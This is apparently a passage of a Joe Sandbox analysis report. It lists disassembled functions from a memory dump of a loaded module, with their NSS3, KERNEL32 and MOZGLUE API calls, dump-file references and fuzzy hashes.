Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

TlsGetValue.KERNEL32 ref: 6CFF1EDF
EnterCriticalSection.KERNEL32(?), ref: 6CFF1EEF
PR_ExitMonitor.NSS3(?), ref: 6CFF1F37
PR_Unlock.NSS3(?), ref: 6CFF1F44

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: bd7cb56c0ed6694860a8d54403c6153140bb607e5b77652fb48d1f72c48e0f32
Instruction ID: 8dc5b48bd09ec76732888bcc27522d07004500d95f44baed5a730b6e553613c2
Opcode Fuzzy Hash: bd7cb56c0ed6694860a8d54403c6153140bb607e5b77652fb48d1f72c48e0f32
Instruction Fuzzy Hash: 4E71D5B69043019FE710CF24D840A5BB7F5FF88358F148929E86993B61E731F95ACB92

Function 6D07DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6D07DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6D07DE77

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 4795f15d3b7c40df95f25d84749d8d2aa025f5d996b25228fda6d9128d306937
Instruction ID: f24085e0a048ba9910367efce8bb36760ba0bea18c7a5a4a424d153bf4a108a1
Opcode Fuzzy Hash: 4795f15d3b7c40df95f25d84749d8d2aa025f5d996b25228fda6d9128d306937
Instruction Fuzzy Hash: 8D714471A04319CBEB20CF99C58079AB7F5BF89714F65806ED9596F302D770A941CFA0

Function 6CFEDFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CFEAB10: DeleteCriticalSection.KERNEL32(D958E852,6CFF1397,5B5F5EC0,?,?,6CFEB1EE,2404110F,?,?), ref: 6CFEAB3C
Part of subcall function 6CFEAB10: free.MOZGLUE(D958E836,?,6CFEB1EE,2404110F,?,?), ref: 6CFEAB49
Part of subcall function 6CFEAB10: DeleteCriticalSection.KERNEL32(5D5E6D1E), ref: 6CFEAB5C
Part of subcall function 6CFEAB10: free.MOZGLUE(5D5E6D12), ref: 6CFEAB63
Part of subcall function 6CFEAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CFEAB6F
Part of subcall function 6CFEAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CFEAB76

TlsGetValue.KERNEL32(?,?,6CFEB266,6CFF15C6,?,?,6CFF15C6), ref: 6CFEDFDA
EnterCriticalSection.KERNEL32(?,?,?,6CFEB266,6CFF15C6,?,?,6CFF15C6), ref: 6CFEDFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CFEB266,6CFF15C6,?,?,6CFF15C6), ref: 6CFEE029
PK11_IsLoggedIn.NSS3 ref: 6CFEE046

Part of subcall function 6CFF8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF8FAF
Part of subcall function 6CFF8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF8FD1
Part of subcall function 6CFF8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF8FFA
Part of subcall function 6CFF8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFF9013
Part of subcall function 6CFF8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFF9042
Part of subcall function 6CFF8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF905A
Part of subcall function 6CFF8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFF9073
Part of subcall function 6CFF8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFF9111

PR_Unlock.NSS3(?,?,?,?,6CFEB266,6CFF15C6,?,?,6CFF15C6), ref: 6CFEE149

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: a8caa9d6de995e55a11c5f66db3eefdcedc431568d4bd83c6c7610a81bbb521b
Instruction ID: f836ef5284dd2415413233b67a02264d24560da8fb3b9654af8206746767f3d4
Opcode Fuzzy Hash: a8caa9d6de995e55a11c5f66db3eefdcedc431568d4bd83c6c7610a81bbb521b
Instruction Fuzzy Hash: 33517974604601EFDB10EF29D48476ABBF1FF88318F16896CD9998B751D735E884CB82

Function 6CFFBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CFFBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFFBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFD9F71,?,?,00000000), ref: 6CFFBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFFBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFFC014

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 10de5f0f30f21196e12c0c9687ec96b40d16047c758b2aa987f1a8cbbf6403da
Instruction ID: 9345e8c2bd841d836544f2360d4f3b341dacc2ebc0de2eb427a0e7d50a2d71cc
Opcode Fuzzy Hash: 10de5f0f30f21196e12c0c9687ec96b40d16047c758b2aa987f1a8cbbf6403da
Instruction Fuzzy Hash: 8741E675A012019BFB10CEA5DC80BBB77B9EF44208F254528ED28D7791EB31D906CB91

Function 6CFCEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFCEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CFCEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CFCEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFCEEEB
free.MOZGLUE(?), ref: 6CFCEEF6

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 469a3264e67a24a09661863ad4fe858895ba09be7e46ca1b426dea7f6f08e958
Instruction ID: f13e9248c39122453d4766e0f187685d82a9278996c9cb84feae20845237c949
Opcode Fuzzy Hash: 469a3264e67a24a09661863ad4fe858895ba09be7e46ca1b426dea7f6f08e958
Instruction Fuzzy Hash: 7F3109B5B006029BEB309F2CDC427A77BF4FB46344F160528E95A87A50D771E454CBD2

Function 6CFE1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFE1F1C

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6D0F9EBC), ref: 6CFE1FB8
SEC_ASN1EncodeItem_Util.NSS3(6D0F9E9C,?,?,6D0F9E9C), ref: 6CFE200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CFE2020

Part of subcall function 6CFD6A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CFDAD50,?,?), ref: 6CFD6A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFE2030

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 7023c01e1b8c1e9488e7983879a1428ecec365e03f53406199358a5f52ca057b
Instruction ID: f507790fa2c8c314e11905306418acc983b1e35e51a7b1111fd4f4b22eb6028a
Opcode Fuzzy Hash: 7023c01e1b8c1e9488e7983879a1428ecec365e03f53406199358a5f52ca057b
Instruction Fuzzy Hash: FA212576901506BBE7008F16DC40FAB7B68FF4A31CF244220ED2896A82F732E524C7E1

Function 6D011EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CFF6295,?,00000000,00000000,00000001,6D012653,?), ref: 6D011ECB

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CFF6295,?,00000000,00000000,00000001,6D012653,?), ref: 6D011EF1
EnterCriticalSection.KERNEL32(?), ref: 6D011F01
PR_SetError.NSS3(00000000,00000000), ref: 6D011F39

Part of subcall function 6D01FE20: TlsGetValue.KERNEL32(6CFF5ADC,?,00000000,00000001,?,?,00000000,?,6CFEBA55,?,?), ref: 6D01FE4B
Part of subcall function 6D01FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D01FE5F

PR_Unlock.NSS3(?), ref: 6D011F67

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: 15688ea98f07cdfd86574032aa130fd285f4c869885243b21b7b90234ed5650a
Instruction ID: 01e5bc500ba094fa3f98f71558f3eea26ed1f02e9d7c6ce4406fe5b1fd820673
Opcode Fuzzy Hash: 15688ea98f07cdfd86574032aa130fd285f4c869885243b21b7b90234ed5650a
Instruction Fuzzy Hash: D8212875A08105ABFB149EAAEC44FAF37AAEF55364F454028FD088B311E771D950C7E2

Function 6CFD1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CFD1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CFD1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CFD1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CFD1EAD

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 664153e3a6f5f2b009cc464b86b04763f8bd57809fdf9cce08d7405914050044
Instruction ID: 783b92e83a33f21dfdbfb454f8995c0471290800fe8423ac6c4701fb6bb9064b
Opcode Fuzzy Hash: 664153e3a6f5f2b009cc464b86b04763f8bd57809fdf9cce08d7405914050044
Instruction Fuzzy Hash: FC21D372E08316A7E7008F68DC40B9B7394DB84379F1A8638ED595B281E730F91587D2

Function 6D0E1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6D0E1E5C

Part of subcall function 6D099BF0: TlsGetValue.KERNEL32(?,?,?,6D0E0A75), ref: 6D099C07

PR_Lock.NSS3(00000000), ref: 6D0E1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6D0E1EAB
PR_GetCurrentThread.NSS3 ref: 6D0E1ED0
PR_Unlock.NSS3(?), ref: 6D0E1EE8

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 5e235e33fb9190afae9348bb5e50f2e686faf9aa843f47343d17b240ac0b1d4a
Instruction ID: 90ee7ae497130e8d1747129a849dae9431b8b0d6fb51db751c33f962e65485ca
Opcode Fuzzy Hash: 5e235e33fb9190afae9348bb5e50f2e686faf9aa843f47343d17b240ac0b1d4a
Instruction Fuzzy Hash: 2A21AFB4A18612AFE714CF28D940B16B7F1FF44754B158229E9199B740D730FC60CBD2

Function 6D02BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CFDE708,00000000,00000000,00000004,00000000), ref: 6D02BE6A

Part of subcall function 6D030840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D0308B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFE04DC,?), ref: 6D02BE7E

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6D02BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFE04DC,?,?), ref: 6D02BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6D02BEEB

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 254b4dcfad5f0d1421c831baa876aac6756b99620585107407e8e3a77c569de3
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: EC11277660A21767FB009966ACC0F2B77ADEB407A8F054425FF04C725EE731D80087E2

Function 6CFDAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CFD3FFF,00000000,?,?,?,?,?,6CFD1A1C,00000000,00000000), ref: 6CFDADA7

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CFD3FFF,00000000,?,?,?,?,?,6CFD1A1C,00000000,00000000), ref: 6CFDADB4

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CFD3FFF,?,?,?,?,6CFD3FFF,00000000,?,?,?,?,?,6CFD1A1C,00000000), ref: 6CFDADD5

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0F94B0,?,?,?,?,?,?,?,?,6CFD3FFF,00000000,?), ref: 6CFDADEC

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFD3FFF), ref: 6CFDAE3C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 37d2d355b7e19b86641a6c63415e83af595c91a73cbb65d0e84b27e18f2079d4
Instruction ID: 0b1360f475d6a606d7c0f0f2b1f4ea067570245310d7d8d1a913c5e10124f5f6
Opcode Fuzzy Hash: 37d2d355b7e19b86641a6c63415e83af595c91a73cbb65d0e84b27e18f2079d4
Instruction Fuzzy Hash: AB117832E003066BF7109B65AC40BBF73E8DF9524CF0A4228ED198B241FB20F954C2E6

Function 6CFF8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6D012E62,?,?,?,?,?,?,?,00000000,?,?,?,6CFE4F1C), ref: 6CFF8EA2

Part of subcall function 6D01F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6D01F854
Part of subcall function 6D01F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6D01F868
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6D01F882
Part of subcall function 6D01F820: free.MOZGLUE(04C483FF,?,?), ref: 6D01F889
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6D01F8A4
Part of subcall function 6D01F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6D01F8AB
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6D01F8C9
Part of subcall function 6D01F820: free.MOZGLUE(280F10EC,?,?), ref: 6D01F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6D012E62,?,?,?,?,?,?,?,00000000,?,?,?,6CFE4F1C), ref: 6CFF8EC3
TlsGetValue.KERNEL32(?,?,?,6D012E62,?,?,?,?,?,?,?,00000000,?,?,?,6CFE4F1C), ref: 6CFF8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6D012E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CFF8EF1
PR_Unlock.NSS3 ref: 6CFF8F20

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 16377d39e65705543af36069d530fa112cef230dceb62f87a3611b4adac6cb55
Instruction ID: cc85d5cd8278d98ea1a1fa42703f780d87fef95a2e0fe8a8deb3df51748ef293
Opcode Fuzzy Hash: 16377d39e65705543af36069d530fa112cef230dceb62f87a3611b4adac6cb55
Instruction Fuzzy Hash: 0E21D1719087059FDB00AF2AD484299BBF4FF49318F02456EEDA89B750D730E851CBC2

Function 6CFE8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CFF0710), ref: 6CFE8FF1
